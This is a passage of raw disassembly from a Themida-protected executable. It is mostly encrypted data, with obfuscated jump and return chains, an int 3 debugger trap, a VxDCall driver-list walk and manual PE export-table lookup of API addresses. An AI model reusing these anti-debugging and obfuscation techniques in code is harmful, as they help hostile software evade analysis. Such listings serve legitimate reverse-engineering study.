7B1918ECh, 0B5DEBB9Ch ; --------------------------------------------------------------------------- div byte ptr [esi+63h] loc_5BF15F: ; CODE XREF: Themida_:005BF143j mov esi, [ebp+7FA2B91h] jmp loc_5BF0B4 ; --------------------------------------------------------------------------- dw 0C4E1h dd 7E474F19h, 8A3715C7h, 784C015Ah, 0EC8FA9DCh ; --------------------------------------------------------------------------- loc_5BF17C: ; CODE XREF: Themida_:005BF14Cj jmp short loc_5BF1B2 ; --------------------------------------------------------------------------- aIfsmgrVkdVmmVw db 'IFSMGR VKD VMM VWIN32 VXDLDR ',0 align 4 dd 2 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5BF1B2: ; CODE XREF: Themida_:loc_5BF17Cj jmp loc_5BF959 ; --------------------------------------------------------------------------- pusha sub eax, 46EA4BDAh popa pusha push 0 push edi call sub_5BF1CB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF1CB proc near ; CODE XREF: Themida_:005BF1C3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5BF1CB endp ; --------------------------------------------------------------------------- db 34h dd 0E96AE2D9h, 6, 2FDF8948h, 85C7C299h, 7FDBD65h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5BF1FF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF1FF proc near ; CODE XREF: Themida_:005BF1F7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5BF1FF endp ; --------------------------------------------------------------------------- db 1Ch dd 60604F95h, 12E8h, 50CE1700h, 0F8C0DCC1h, 3EB89D22h dd 6F128CDAh, 5F0545CBh, 0E8615F52h, 0Ch, 531C94F1h, 51D40BA6h dd 90CE5725h, 0FE9h, 0B2037900h, 96AC0A2Eh, 0A6953D84h dd 6A967AD5h, 0C68B6159h, 11870Fh, 8C0F0000h, 0Bh, 6E9h dd 0B1AC3B00h, 0F9A78AAh, 6AD8B7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 1B9CDBC3h, 7C4062DCh dd 6660AEBAh, 37ACF081h, 3850Fh, 0BF0F0000h, 0E8C161C8h dd 0BF0F6010h, 2B03BFC9h, 0F614F6Fh, 188h, 0C166FC00h dd 6A08C8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0BEEB57C3h, 0DBA0217Ah, 9BBB6660h, 858961E3h dd 7FDBD69h, 0E6816660h, 8C0F672Ah, 0Eh, 8E8h, 0FA103200h dd 0C6C4F872h, 66615AF2h, 0F08CBC1h, 18Ah, 0FB83F500h dd 0AB850F40h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 493BC355h, 40EC2307h dd 6017AAA6h, 0EF8190B7h, 1B482C67h, 5E96061h, 0FF000000h dd 5C193340h, 12E8h, 50282700h, 6802569Bh, 8E7E71Ch, 7C75024h dd 8ABAA9C1h, 8D615BE2h, 0FDBD3DBDh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 589156D8h dd 66600F9Fh, 0E953C78Bh, 0Bh, 0C7EE931Dh, 0AED87105h dd 5FD819E7h, 172E961h, 0E9600000h, 7, 81B91087h, 811F5343h dd 0BB960DE1h, 0FB836140h, 59850F0Dh, 0E9000000h, 14h dd 0C92E63DAh, 2374422Dh, 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh dd 0BD45BD8Dh, 6A07FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E90753C3h, 12h, 0EE67762h, 723CD16Bh dd 5758D95Ah, 0A30D648Bh, 0FDE98DA0h, 0F5000000h, 0F01FB83h dd 5C85h, 0BD8DF800h, 7FDBD4Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0FAC35141h, 873B824Dh, 41C50563h dd 0C2E9AEh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 7FC4CFC3h, 7890Fh, 850F0000h, 1 dd 2AFB83F8h, 52850Fh, 8DFC0000h, 0FDBD55BDh, 11E907h dd 0B8440000h, 7CB8FB7Fh, 0C7719A72h, 316313EEh, 0E996D646h dd 6Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h dd 9CC35040h, 870FDB98h, 0Ch, 6860Fh, 830F0000h, 0 ; --------------------------------------------------------------------------- cmp ebx, 27h jnz loc_5BF7F4 pusha movzx esi, dx popa jno loc_5BF4FD clc loc_5BF4FD: ; CODE XREF: Themida_:005BF4F6j lea edi, [ebp+7FDBD5Dh] push 0 push ebp call sub_5BF50E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF50E proc near ; CODE XREF: Themida_:005BF506p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5BF50E endp ; --------------------------------------------------------------------------- mov dl, 82h cli int 3 ; Trap to Debugger push ebp pop ss mov [ebp+7FDBD6Dh], edi push 0 push edi call sub_5BF535 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF535 proc near ; CODE XREF: Themida_:005BF52Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5BF535 endp ; --------------------------------------------------------------------------- db 0AAh, 7Eh, 0Fh dd 1E80h, 9E86000h, 6E000000h, 5B9030BCh, 9156D889h, 7E85Eh dd 405D0000h, 126661E1h, 66615911h, 24F5C88Ch, 55006A03h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0A85FCA2Dh, 0FF08A60h, 283h, 61616000h, 0FC00AFCh, 1CF85h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0DAA5C844h, 8DFA52A1h, 0FDC420B5h, 858BFC07h dd 7FDC4B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 42C35545h, 0CCA2D8C5h, 0FBCA611Dh, 0E3816060h dd 675C27D4h, 61D38B66h, 10E9h, 0C98B2A00h, 0C8778480h dd 71C17F1Eh, 2B0EA65Ch, 0F926128h, 1383h, 0CE96000h, 0F6000000h dd 64C426A0h, 459B75B4h, 615967D5h, 14E950h, 67020000h dd 0EDD9098Ch, 519D659Ch, 9A077ACCh, 0A3AA0AF4h, 6A92FAD7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 30B3C356h, 3798C8A1h, 2CE81997h, 0DE860h dd 0AC4E0000h, 0CD2F135Ah, 11AC9B96h, 0FD8CB24h, 8Eh, 830F5E00h dd 3, 61C38B66h, 1C840Fh, 0E9600000h, 14h, 0CAD34110h dd 12624605h, 697C6595h, 59132C76h, 56597255h, 10F61FCh dd 60FE244Ch, 61F38AF5h, 830FFC5Ah, 1, 24C283F8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A9C35646h, 0F606E89h dd 6E9F2BFh, 65000000h, 12047710h, 566061F7h, 0C714F181h dd 815A2DF3h, 543CEFC8h, 89666124h, 6AFC72h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 9422F9C3h dd 10CEC1F5h, 88D0Fh, 800F0000h, 2, 89666160h, 0AE90272h dd 0BF000000h, 17C28017h, 72F442ADh, 0F904CD22h, 78E9h dd 11850F00h, 0F000000h, 0B8Eh, 6E900h, 1340000h, 7C53B266h dd 0C4B9858Bh, 8DF807FDh, 0FDC420B5h, 7810F07h, 60000000h dd 0E5805957h, 858D6162h, 7FD7DE2h, 7890Fh, 0F600000h dd 0D98BF6BFh, 60D0FF61h, 17840Fh, 12E90000h, 15000000h dd 3C195325h, 4895177Ah, 5030FCFDh, 0C39D4F3h, 0EE969h dd 0B6D0000h, 9551E495h, 0C64727A2h, 46EB5FC3h, 65858961h dd 0F807FDBDh, 12850Fh, 0DE90000h, 33000000h, 868EDDC1h dd 6E154C0Ch, 0B9913903h ; --------------------------------------------------------------------------- loc_5BF7F4: ; CODE XREF: Themida_:005BF4EBj popa cmc jmp loc_5BF802 ; --------------------------------------------------------------------------- db 33h dd 15FC50B3h db 9Eh, 70h ; --------------------------------------------------------------------------- loc_5BF802: ; CODE XREF: Themida_:005BF7F6j mov eax, [ebp+7FDBD65h] push 0 push ebx call sub_5BF813 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF813 proc near ; CODE XREF: Themida_:005BF80Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5BF813 endp ; --------------------------------------------------------------------------- mov ds:0EA5501F5h, eax fucomi st, st pusha jmp loc_5BF83D ; --------------------------------------------------------------------------- dd 6D92D50Eh, 0B8ADEF6h, 44262098h db 2Ah ; --------------------------------------------------------------------------- loc_5BF83D: ; CODE XREF: Themida_:005BF82Bj popa retn ; --------------------------------------------------------------------------- push 0 push eax call sub_5BF84A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF84A proc near ; CODE XREF: Themida_:005BF842p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5BF84A endp ; --------------------------------------------------------------------------- push dword ptr [ecx-80A3E65h] cmc pusha jns loc_5BF87B jmp loc_5BF87B ; --------------------------------------------------------------------------- db 18h, 0Ch, 0BEh dd 0C3958815h, 64D7BDF4h db 0D9h, 0F2h, 0C4h ; --------------------------------------------------------------------------- loc_5BF87B: ; CODE XREF: Themida_:005BF862j ; Themida_:005BF868j cmp dword ptr [ebp+7FDC4B9h], 0 jnz loc_5BF8CC jmp loc_5BF8A0 ; --------------------------------------------------------------------------- db 11h, 0F6h, 0AAh dd 1B28B887h, 2CC01098h, 0E4250CB5h, 0A4A134A1h ; --------------------------------------------------------------------------- loc_5BF8A0: ; CODE XREF: Themida_:005BF888j mov dword ptr [ebp+7FDC4B9h], 1013Fh push 0 push edi call sub_5BF8B5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF8B5 proc near ; CODE XREF: Themida_:005BF8ADp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5BF8B5 endp ; --------------------------------------------------------------------------- cmp al, [esi] retn 17EDh ; --------------------------------------------------------------------------- dw 79DEh ; --------------------------------------------------------------------------- loc_5BF8CC: ; CODE XREF: Themida_:005BF882j jmp loc_5BF8F8 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5BF8DC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF8DC proc near ; CODE XREF: Themida_:005BF8D4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5BF8DC endp ; --------------------------------------------------------------------------- pusha fdiv qword ptr [ecx-5A5BD586h] mov esi, 0F8F8640Ch loc_5BF8F8: ; CODE XREF: Themida_:loc_5BF8CCj VxDCall 0 loc_5BF8FE: ; CODE XREF: Themida_:005BF937j or eax, eax jz short loc_5BF939 lea esi, [eax+0Ch] mov edi, [ebp+7FDBD6Dh] mov ecx, 8 loc_5BF910: ; CODE XREF: Themida_:005BF914j cmpsb jnz short loc_5BF935 dec ecx jnz short loc_5BF910 mov ecx, [eax+30h] mov ebx, [ebp+7FDBD69h] cmp ebx, [eax+34h] jg short loc_5BF939 mov edx, ebx imul edx, 4 add ecx, edx mov eax, [ecx] mov [ebp+7FDBD65h], eax jmp short loc_5BF939 ; --------------------------------------------------------------------------- loc_5BF935: ; CODE XREF: Themida_:005BF911j mov eax, [eax] jmp short loc_5BF8FE ; --------------------------------------------------------------------------- loc_5BF939: ; CODE XREF: Themida_:005BF900j ; Themida_:005BF922j ... popa mov eax, [ebp+7FDBD65h] iret ; --------------------------------------------------------------------------- cld jle loc_5BF959 jmp loc_5BF959 ; --------------------------------------------------------------------------- db 0DEh, 99h, 3 dd 73BA1B92h, 8DC33C50h ; --------------------------------------------------------------------------- dec ecx loc_5BF959: ; CODE XREF: Themida_:loc_5BF1B2j ; Themida_:005BF942j ... mov eax, eax jmp loc_5BF9E3 ; --------------------------------------------------------------------------- push ebx push ecx push edx push esi push edi mov ebx, [esp+1Ch] cmp word ptr [ebx], 5A4Dh jnz loc_5BF9DC movzx eax, word ptr [ebx+3Ch] add ebx, eax cmp word ptr [ebx], 4550h jnz loc_5BF9DC mov ebx, [ebx+78h] add ebx, [esp+1Ch] mov esi, [ebx+24h] add esi, [esp+1Ch] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [esp+20h] add esi, [esp+20h] cld or ecx, 0FFFFFFFFh loc_5BF9A6: ; CODE XREF: Themida_:005BF9BCj ; Themida_:005BF9C4j inc ecx mov ebx, [esp+1Ch] mov edx, [edi] add edx, [esp+20h] add edi, 4 loc_5BF9B4: ; CODE XREF: Themida_:005BF9C0j mov al, [edx] test al, al jz short loc_5BF9C2 cmp al, [ebx] jnz short loc_5BF9A6 inc ebx inc edx jmp short loc_5BF9B4 ; --------------------------------------------------------------------------- loc_5BF9C2: ; CODE XREF: Themida_:005BF9B8j cmp al, [ebx] jnz short loc_5BF9A6 pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [esp+1Ch] loc_5BF9D4: ; CODE XREF: Themida_:005BF9DEj pop edi pop esi pop edx pop ecx pop ebx retn 8 ; --------------------------------------------------------------------------- loc_5BF9DC: ; CODE XREF: Themida_:005BF96Ej ; Themida_:005BF97Fj xor eax, eax jmp loc_5BF9D4 ; --------------------------------------------------------------------------- loc_5BF9E3: ; CODE XREF: Themida_:005BF95Bj mov ecx, edx call sub_5BF9F0 mov cl, al movsb push 0FFFFFF85h pop ss assume ss:nothing ; =============== S U B R O U T I N E ======================================= sub_5BF9F0 proc near ; CODE XREF: Themida_:005BF9E5p mov ebx, edx pop eax jmp loc_5BFA03 ; --------------------------------------------------------------------------- dd 0C4B8B37Bh, 4131A406h db 62h, 33h, 23h ; --------------------------------------------------------------------------- loc_5BFA03: ; CODE XREF: sub_5BF9F0+3j add eax, 67EBh jmp loc_5BFA15 ; --------------------------------------------------------------------------- dw 8FADh dd 0B2FCB720h db 0A1h ; --------------------------------------------------------------------------- loc_5BFA15: ; CODE XREF: sub_5BF9F0+19j mov ecx, 19C4h js loc_5BFA2C jnz loc_5BFA2C jb $+6 loc_5BFA2C: ; CODE XREF: sub_5BF9F0+2Aj ; sub_5BF9F0+30j ... mov edx, [eax] or bh, 0DEh add edx, 4C676BF8h movsx ebx, di xor edx, 8B481A0h ja loc_5BFA4E js loc_5BFA4E push edx pop ebx loc_5BFA4E: ; CODE XREF: sub_5BF9F0+50j ; sub_5BF9F0+56j xor edx, 3F0D1108h call near ptr loc_5BFA60+5 shr dword ptr [ecx+4C31C9BAh], 8 loc_5BFA60: ; CODE XREF: sub_5BF9F0+64p adc edx, ds:0F0DA28Bh sub_5BF9F0 endp ; sp-analysis failed add dword ptr [eax+eax], 0BF660000h leave adc eax, 0F10895Fh lea eax, [eax+eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- mov si, 32C3h sub eax, 4 mov bl, 8Ah sub ecx, 1 jnz loc_5BFAA1 mov bh, al jmp loc_5BFAC9 ; --------------------------------------------------------------------------- db 9Ah, 0F0h, 0FBh ; --------------------------------------------------------------------------- jmp short loc_5BFB08 ; --------------------------------------------------------------------------- dw 0A81Fh ; --------------------------------------------------------------------------- mov dl, [ebp+25h] xchg eax, ebx mov dh, 0CDh mov bh, 83h inc ecx loc_5BFAA1: ; CODE XREF: Themida_:005BFA84j jnz loc_5BFAB3 jz loc_5BFAB3 sub ebx, 44C1A588h loc_5BFAB3: ; CODE XREF: Themida_:loc_5BFAA1j ; Themida_:005BFAA7j jmp loc_5BFA2C ; --------------------------------------------------------------------------- dd 0CB667826h, 36EEC0C2h, 664898E3h, 0E25D64DBh ; --------------------------------------------------------------------------- push es loc_5BFAC9: ; CODE XREF: Themida_:005BFA8Cj call near ptr loc_5BFAD1+3 insd rcl esi, cl loc_5BFAD1: ; CODE XREF: Themida_:loc_5BFAC9p mov ecx, 6E9A69Fh ; --------------------------------------------------------------------------- dw 0 dd 0EA8D4A00h, 5F5597A3h, 0FE9h, 8B6E6D00h, 1456956Dh dd 104B1BC9h, 29BA893Dh, 6391C781h, 0B8660000h, 0BB3287h dd 0BE000000h, 43BBA8E7h ; --------------------------------------------------------------------------- loc_5BFB08: ; CODE XREF: Themida_:005BFA94j mov edx, [edi+ebx] mov ax, dx sub edx, 48559858h call near ptr locret_5BFB20+1 add [ebx-1Eh], ebp push esp fsub qword ptr [ebp-23h] locret_5BFB20: ; CODE XREF: Themida_:005BFB14p retf 8166h ; --------------------------------------------------------------------------- db 0EEh dd 8158A341h, 94EAABC2h, 2870F39h, 0B4000000h, 50EA8105h dd 0B90F590Ah, 71E04142h, 661F1489h, 666FDEB9h, 0EB83F08Bh dd 81CA8B04h, 0FF9CF8FBh, 0AD850FFFh, 0E9FFFFFFh, 10Ah dd 38331D0Ah, 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h dd 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h dd 206020ACh, 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah dd 20602055h, 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h dd 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h dd 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h dd 5D340700h, 59A0A3D2h, 1Eh, 8 dup(0) dd 0A8E90000h, 6800000Ch, 7FDCA81h, 0FCB6BBE9h, 0CB9D68FFh dd 0B1E907FDh, 68FFFCB6h, 7FDCC65h, 0FCB6A7E9h, 0CD4E68FFh dd 9DE907FDh, 68FFFCB6h, 7FDCDBCh, 0FCB693E9h, 0CE5E68FFh dd 89E907FDh, 68FFFCB6h, 7FDCFC8h, 0FCB67FE9h, 0D0BD68FFh dd 75E907FDh, 68FFFCB6h, 7FDD18Fh, 0FCB66BE9h, 0D27068FFh dd 61E907FDh, 68FFFCB6h, 7FDD327h, 0FCB657E9h, 0CBD343FFh dd 742AE895h, 1A84913Eh, 0C6D837E4h, 702EE390h, 6A51063Ah dd 14C1F7A7h, 0BB689E00h, 66134955h, 0ECBBF1ADh, 4B157894h dd 0D53B07E4h, 0ED92BC1Eh, 0A7D2305Bh, 108E8126h, 0C56BD6Ah dd 0E60F9A04h, 878DF27Dh, 0E0328717h, 7A0A33BEh, 0E6A0FB5Eh dd 2AD029FFh, 4B053E97h, 0B3EB277Ch, 0EBB3600Dh, 2B3554B5h dd 0BD197F9Bh, 0EC4507E0h, 8717FC61h, 0F36FA451h, 0CEF7821Ch dd 81393E54h, 92FB57A7h, 5B77B707h, 7E150F8h, 0AB1FC51Eh dd 7E15145h, 876B2556h, 5882128Ch, 9E6A6627h, 0E4CF2C8h dd 5CECB261h, 0C29D001Ch, 6AC307E0h, 47CC31C4h, 0A66DF51Bh dd 0DB446DF8h, 214CDE61h, 64CD1379h, 0D28CBDD9h, 437925EEh dd 6F183B73h, 51DD940h, 0A76A0000h, 42A7326Ch, 3697CDD1h dd 617D0D53h, 7E0ADC7h, 0A7F782DBh, 28C6E57Dh, 21C73473h dd 0E12D46ADh, 15CF5007h, 6F34D60Eh, 257440h, 0F3050000h dd 0FA3ACA96h, 8B316DA5h, 0E09C4917h, 71FC5507h, 0E09ADE45h dd 0AD67E807h, 6EA76EA6h, 1020C40h, 0A79D0000h, 42A7326Ch dd 1C8293CFh, 0AED828B3h, 2233BE0h, 0AAC65691h, 0FFE68A47h dd 0C16E146Dh, 5CC14C52h, 2D57E7B7h, 6BBEEE7Bh, 0DB19BF63h dd 3E24EE43h, 0D35EC7D7h, 1A9004AAh, 64FFE760h, 21B9EFAFh dd 18868CE1h, 95F8648Dh, 0BBFFE75Dh, 4C52BD62h, 841AF9A6h dd 286BCAF4h, 0A56151AEh, 36536CFFh, 0E07E9A2Ah, 0FE07E17Ah dd 51F6A869h, 4177E0BEh, 27B7A9E0h, 327EEFFDh, 2CD1517Dh dd 7B13B9E5h, 0DE2C1C5Fh, 9FBBFB0Fh, 0FFECA83Ch, 6581116Ah dd 0FFECA802h, 0E831D730h, 67AAFF8Fh, 29690137h, 0ECA8AA0Dh dd 0FDA174FFh, 10BD63BCh, 27DF9D01h, 28999E22h, 9894EEDh dd 0EE280000h, 45CD7AB0h, 9F762359h, 0F31CC9FFh, 49C875ABh dd 36EB1F55h, 0A4DAC44Dh, 4B811DF7h, 0F62C729Eh, 9ED4CA49h dd 0F85B77CFh, 1E07E44Ch, 6AA701B8h, 1166FE34h, 0EAB46002h dd 0E52EDB81h, 810C927Dh, 2B9EF58h, 3ACA96F3h, 326CA5FAh dd 64D87EA7h, 7E09B96h, 90E06BC4h, 3AC5D93Bh, 2658111h dd 3007E09Bh, 56BD31D7h, 2007E09Bh, 0BF24AFEFh, 30C24D51h dd 40A54D07h, 0CFBE53A8h, 5CC9D886h, 0A147B0D4h, 42976620h dd 5626CCD2h, 406ED91Eh, 0DADADB05h, 9F754B1Dh, 0B518F9h dd 88C80000h, 0E16E096Ch, 38DE3707h, 326CA781h, 0CFCF42A7h dd 87A21844h, 47CCFFE6h, 9F72C757h, 0D14B74FFh, 0DEC74F84h dd 4E8C32AAh, 0F0AE61B6h, 28769D4Ah, 5B05849Dh, 0DC368BCBh dd 0CBE737C2h, 0FFE6A468h, 26CC358Eh, 0E0C514B2h, 2359B207h dd 0B45DC7C2h, 0CD365FEAh, 63CD213Dh, 80D90FDDh, 0EC769BF0h dd 31FD7727h, 90AA74A4h, 0B25F95FEh, 9B813F5Fh, 0C0999E00h dd 86DE685h, 0D2440000h, 29E996CCh, 83923F75h, 0D738E51Bh dd 2DE491C7h, 52073B71h, 0C0F6A869h, 679D0113h, 124856BAh dd 0BAF0AE65h, 147793EBh, 4207E44Eh, 6AA725DCh, 0C251FE34h dd 0BCEFA6DCh, 82FD607Ch, 0EEEAFFE6h, 0FF631EDh, 6D89094Ah dd 0FFE7090Ah, 0D076DF38h, 6B87F023h, 0FFE70908h, 0E430D52Eh dd 97C151BAh, 0EE08CDC5h, 163F314Bh, 0A5545182h, 9E03963Ch dd 4022ED75h, 1942CDD1h, 62B747B0h dword_5C005C dd 947EDB1h, 13762030h, 339C0211h, 538587A3h, 0D83107E1h ; DATA XREF: ___:off_444E8Co dd 7D21F348h, 0F12E92D7h, 0B306A9C3h, 0DEFA8AD6h, 1135C0Ch dd 1D36C11Ah, 4864F46Ch, 6ACBEBEh, 0A6FB8BE4h, 4EFB316Dh dd 7F1BD9C5h, 5060AD3Ch, 7A57615h, 0A0C0000h, 61B15E94h dd 0BB5A073Dh, 0F00ADE3h, 65AC598Fh, 1ACF0339h, 88BEE031h dd 2F6539DBh, 0DA108E82h, 82B8E62Dh, 0DC3F5BB3h, 0A07E44Fh dd 6CA7EDA4h, 0FB8EA732h, 83BF223Eh, 9481FFE6h, 15567F0Ah dd 0A20B9380h, 3F69A939h, 0FD784035h, 37AB51CBh, 7E0DAB9h dd 3596CC25h, 607C0C54h, 0FDEA0F5h, 0AD0292EBh, 84AD3866h dd 26C7E30Ah, 650BBCB7h, 39B78CDh, 6FF320CDh, 292FBA3h dd 0B643A6C2h, 1871FFEDh, 58FEA073h, 83DDACC5h, 0EB89B3F3h dd 0CB832E51h, 0C82B47D7h, 0EEFFEDC4h, 377BEF95h, 1F07EB8Bh dd 0AA138B8Ah, 504EC51Ah, 0F8A66D1Ah, 0A90C2868h, 0D707E109h dd 2C45D87Eh, 4973035Dh, 8C0661C3h, 2E70A4C5h, 6B117AA3h dd 0E755B7D3h, 0DD320FDAh, 0B4DD6836h, 0AE6CC50Eh, 999815F8h dd 0BCFF9ED9h, 0F5000006h, 9A477D21h, 43F02678h, 0E996CCD2h dd 95427826h, 0B8EC227Ch, 0A9F51C03h, 504EC673h, 0FBA36D1Ah dd 0A3FB18C5h, 2A469E6Dh, 7E450C7h, 0F3D087EDh, 1E3ACA96h dd 7E44AE2h, 0BE13A3FCh, 8FB94955h, 617F193Ch, 0D10FB50Ch dd 509EEF24h, 0F5A968D1h, 0C2E66E7Bh, 0D4B5CE59h, 62E0FC8Ch dd 800FDDF4h, 4FA16927h, 4F8A999Fh, 64EB0h, 0EBB36300h dd 940A08B5h, 3A64B15Eh, 0E6B85704h, 900E03B0h, 8A71265Ah dd 34E11787h, 0DB88BEE0h, 86336935h, 0CDB118Dh, 503598B4h dd 0F55B07E4h, 0CA96F33Eh, 4BB31E3Ah, 0D83107E4h, 7F1FF348h dd 1F3BCBF4h, 7E44ABCh, 53EB91EAh, 538915FEh, 0A6316DA6h dd 0FD3DFC8Dh, 0E44A7EE1h, 0DF4BA407h, 7E44A7Ch, 63CB40AAh dd 20D4CC0Eh, 0A2BE4EB7h, 0FE1955Eh, 4A9F2F88h, 227C99C9h dd 3DD683B9h, 3186D661h, 0B718BEE0h, 0A9FE8ED2h, 0F48C326Ch dd 0E13876D8h, 85439C07h, 9E62A2CFh, 0ACC2619Ch, 5000005h dd 0AA578D11h, 53003668h, 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch dd 0B9E52C13h, 603ED683h, 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh dd 7E451D7h, 0A7E097FDh, 42A7326Ch, 3697CDD1h, 5E40D153h dd 0AF4965F5h, 0D307E0ADh, 7C95EA7Ah, 0AD7CDFFBh, 51AA07E0h dd 8E345DE8h, 0AD68CFFBh, 0F17207E0h, 0B4F83037h, 5896406Eh dd 27000000h, 3ACA96F3h, 304C2BE5h, 0FFE683CDh, 0A6319AF3h dd 633BD87Dh, 7109AFD8h, 6A34DC31h, 9B8250C4h, 47A007E0h dd 102C6CBCh, 7E09BADh, 60D47AD3h, 7E09AF9h, 0C6514DC3h dd 65F0AE61h, 7119D30Ch, 0CAD18B0Ch, 406EA792h, 0F530h dd 68B6E000h, 0D1D2AB5Fh, 0BCC98026h, 0C908B192h, 9EC7524Ch dd 0FFD1AB24h, 0FB67AC59h, 0D2CC481Ah, 10750069h, 0CD0D9D01h dd 0E6CB4EB1h, 9FFF10FFh, 51AAEB14h, 0AA3569ACh, 0E348DB81h dd 9EDE6E30h, 0E6CB1F82h, 46EC45FFh, 30E63B3h, 41E7109Bh dd 0DCF87F94h, 0FFE6CB79h, 0AFE54EA7h, 58BBD717h, 7EFFE6CBh dd 950B7F25h, 0DDFFE6CFh, 85326836h, 6C85108Eh, 900E071Dh dd 0E373DC05h, 0E0E3E1C7h, 7EB40D07h, 64F46C1Dh, 0DDC36C48h dd 0B1419A0Fh, 3EF25571h, 0B5D1FFEDh, 0FFED3F52h, 8DE62780h dd 17FA4FE7h, 6DA45187h, 0BBDF7331h, 4580999Eh, 442A6h dd 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h, 9C020FBCh dd 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h, 18E71D81h dd 5241A4C0h, 96F07E4h, 346AA752h, 1166FEh, 0C84BF89Eh dd 0BF28769Ah, 96F3D289h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h dd 0E107E09Bh, 679FA660h, 5406EA7h, 0D7h, 326CA796h, 0CFCF42A7h dd 87A21844h, 47CCFFE6h, 9F742157h, 0EF2F6FFFh, 0E68670D3h dd 0D13D96FFh, 0FFE6866Eh, 2EB9E530h, 0C56BC405h, 86A2E232h dd 0FFE68623h, 0F152F851h, 0F838C898h, 4D178EB8h, 0C8CB745Ah dd 0E6C3F95Ch, 0FBD27FFh, 5D415200h, 12862C95h, 7E16C2Ch dd 6ACB015Ah, 930B051Fh, 55A9A2Ah, 75E98F0Fh, 0FDE283Ah dd 1C829328h, 6FFF6891h, 0F996F71Ah, 0FBBE3CA8h, 0C673A912h dd 0AD102C4Bh, 0D3FFECF5h, 0F553117Ah, 56999E75h, 34D7C1Bh dd 0B2640000h, 909B6ECh, 63B25F95h, 0B758053Bh, 0D04B1E7h dd 72275B91h, 0E0168889h, 87BDE133h, 326836DAh, 0DA108E85h dd 3497B30Bh, 6207E453h, 6AA745FCh, 838EF10Dh, 5BB4FFE6h dd 40FBCF2h, 0A7AD649Ah, 801EF66Ch, 0FC3C8C17h, 0A7326CA7h dd 83AF127Eh, 0A371FFE6h, 0BB61BAFBh, 6399050Eh, 0BBCE788Ah dd 0F7F915A5h, 0DB07E089h, 7DBD4582h, 0E088FE61h, 88A42407h dd 7E08925h, 0E389F24Bh, 15FFB06Fh, 4D1376ACh, 0E8287DBDh dd 9A0411B6h, 0CC40E60Fh, 0ABB015DEh, 0E7B758ADh, 448D335Ch dd 424760EBh, 0F94E8E1Eh, 0D4CA4B17h, 11B7E06Bh, 1979139Dh dd 0A6368FACh, 0C2C57F7Ch, 